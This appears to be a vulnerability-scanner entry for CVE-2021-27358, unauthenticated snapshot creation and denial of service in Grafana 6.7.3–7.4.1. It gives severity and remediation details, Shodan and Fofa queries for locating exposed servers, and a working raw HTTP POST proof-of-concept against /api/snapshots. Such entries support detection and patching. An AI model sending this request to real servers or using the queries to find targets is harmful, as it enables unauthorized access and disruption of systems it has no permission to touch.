| Title | Grafana Unauthenticated Snapshot Creation |
|---|---|
| Author | pdteam,bing0o |
| Severity | High |
| Impact | An attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure. |
| Remediation | Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.87049 |
| CVE ID | CVE-2021-27358 |
| CWE ID | CWE-306 |
| Shodan Query | title:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana" |
| Fofa Query | title="grafana"app="grafana" |
| Tags | cve2021 cve grafana unauth vuln |
Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
POST /api/snapshots HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 235
Content-Type: application/json
Accept-Encoding: gzip
{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27358.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27358.pcap
N/AN/A